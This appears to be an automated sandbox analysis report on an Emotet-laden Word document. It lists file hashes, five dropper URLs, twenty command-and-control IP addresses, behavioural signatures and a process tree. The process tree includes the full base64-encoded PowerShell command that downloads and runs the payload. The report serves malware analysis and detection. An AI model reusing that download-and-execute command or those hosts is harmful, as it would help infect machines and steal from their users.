Analysis

  • max time kernel
    76s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01-08-2020 19:38

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12917.8592.9111.doc

  • Size

    175KB

  • MD5

    84b4a3bdfd680dc3fde940f31a74dc97

  • SHA1

    e0ca5c78044b5feee5e67dc4e74a7420d5705f05

  • SHA256

    501948f523c9bce4662fe102da5d632e953fccc2f521565eabc8f424297a4f1f

  • SHA512

    fbeac6eb5aefb96957026ffd95368ce9c6d7822dec96eb391983807d69a045d90c24bec19a3347f50626a669d4729033bafe0036b92e64152b71edeb251a67e8

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://jkncrew.com/cgi-bin/KhSO16ZAAf/

exe.dropper

http://jmlandscapingservice.com/content/fhGAfKs/

exe.dropper

http://jimlowry.com/dlqCTc01p/

exe.dropper

http://www.lesliemontenegro.com/wp-includes/I1hHqDE6/

exe.dropper

http://johnkeanestudios.com/r00t/vAWElRm/

Extracted

Family

emotet

C2

73.116.193.136:80

185.94.252.13:443

149.62.173.247:8080

89.32.150.160:8080

185.94.252.12:80

77.90.136.129:8080

83.169.21.32:7080

104.236.161.64:8080

114.109.179.60:80

189.2.177.210:443

68.183.190.199:8080

144.139.91.187:443

185.94.252.27:443

190.181.235.46:80

82.196.15.205:8080

46.28.111.142:7080

181.167.96.215:80

202.62.39.111:80

219.92.13.25:80

191.99.160.58:80

rsa_pubkey.plain

Signatures

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12917.8592.9111.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:832
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABHAFMASgBLAE8AdABrAGoAPQAnAEgAUQBGAFEAVwB6AGUAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AGAAUgBgAEkAVAB5AFAAcgBgAG8AVABPAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUwBYAEwAVQBQAGcAdwBpACAAPQAgACcANQA0ADUAJwA7ACQAVwBBAFEATABOAG8AdwBoAD0AJwBPAEgASQBFAFoAeQBoAHUAJwA7ACQAUQBMAFMASgBLAGkAcQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAFgATABVAFAAZwB3AGkAKwAnAC4AZQB4AGUAJwA7ACQARwBXAFoAWgBCAGoAagBqAD0AJwBDAEEATABRAEIAcwB1AG0AJwA7ACQAUgBOAFoATABNAHAAZQB6AD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABpAEUATgBUADsAJABGAEwAWQBDAE4AaQBwAGUAPQAnAGgAdAB0AHAAOgAvAC8AagBrAG4AYwByAGUAdwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAEsAaABTAE8AMQA2AFoAQQBBAGYALwAqAGgAdAB0AHAAOgAvAC8AagBtAGwAYQBuAGQAcwBjAGEAcABpAG4AZwBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwBjAG8AbgB0AGUAbgB0AC8AZgBoAEcAQQBmAEsAcwAvACoAaAB0AHQAcAA6AC8ALwBqAGkAbQBsAG8AdwByAHkALgBjAG8AbQAvAGQAbABxAEMAVABjADAAMQBwAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAHMAbABpAGUAbQBvAG4AdABlAG4AZQBnAHIAbwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ASQAxAGgASABxAEQARQA2AC8AKgBoAHQAdABwADoALwAvAGoAbwBoAG4AawBlAGEAbgBlAHMAdAB1AGQAaQBvAHMALgBjAG8AbQAvAHIAMAAwAHQALwB2AEEAVwBFAGwAUgBtAC8AJwAuACIAUwBQAEwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRAEcAVwBWAFMAbABkAHUAPQAnAFkATQBHAFIAUABmAGIAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQASgBXAFAAQQBJAGoAbwBtACAAaQBuACAAJABGAEwAWQBDAE4AaQBwAGUAKQB7AHQAcgB5AHsAJABSAE4AWgBMAE0AcABlAHoALgAiAEQAbwBXAGAATgBMAG8AQQBgAEQARgBpAEwARQAiACgAJABKAFcAUABBAEkAagBvAG0ALAAgACQAUQBMAFMASgBLAGkAcQBhACkAOwAkAEMAWABaAEcAQwBkAGEAdAA9ACcAVgBYAEYAUQBKAG4AcABxACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAUQBMAFMASgBLAGkAcQBhACkALgAiAGwAYABlAE4AZwB0AEgAIgAgAC0AZwBlACAAMwAwADIAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABlAEEAdABlACIAKAAkAFEATABTAEoASwBpAHEAYQApADsAJABLAEUATgBXAEgAcwBsAHcAPQAnAEwATABGAE8AVQBiAHMAcAAnADsAYgByAGUAYQBrADsAJABLAEUAUwBWAFkAZQBoAHgAPQAnAEkARABUAEIAWQBzAHcAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAEIAUgBOAFIAZwBzAGgAPQAnAFAASQBMAE8AUgB4AGYAZwAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    • Drops file in System32 directory
    PID:1652
  • C:\Users\Admin\545.exe
    C:\Users\Admin\545.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1800
    • C:\Windows\SysWOW64\fdBthProxy\pots.exe
      "C:\Windows\SysWOW64\fdBthProxy\pots.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1604

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\545.exe
  • C:\Users\Admin\545.exe
  • C:\Windows\SysWOW64\fdBthProxy\pots.exe
  • memory/832-2-0x0000000008F50000-0x0000000008F54000-memory.dmp
    Filesize

    16KB

  • memory/832-5-0x000000000B010000-0x000000000B014000-memory.dmp
    Filesize

    16KB

  • memory/832-6-0x000000000C090000-0x000000000C094000-memory.dmp
    Filesize

    16KB

  • memory/1604-11-0x0000000000000000-mapping.dmp
  • memory/1604-13-0x0000000000680000-0x000000000068C000-memory.dmp
    Filesize

    48KB

  • memory/1800-10-0x00000000002B0000-0x00000000002BC000-memory.dmp
    Filesize

    48KB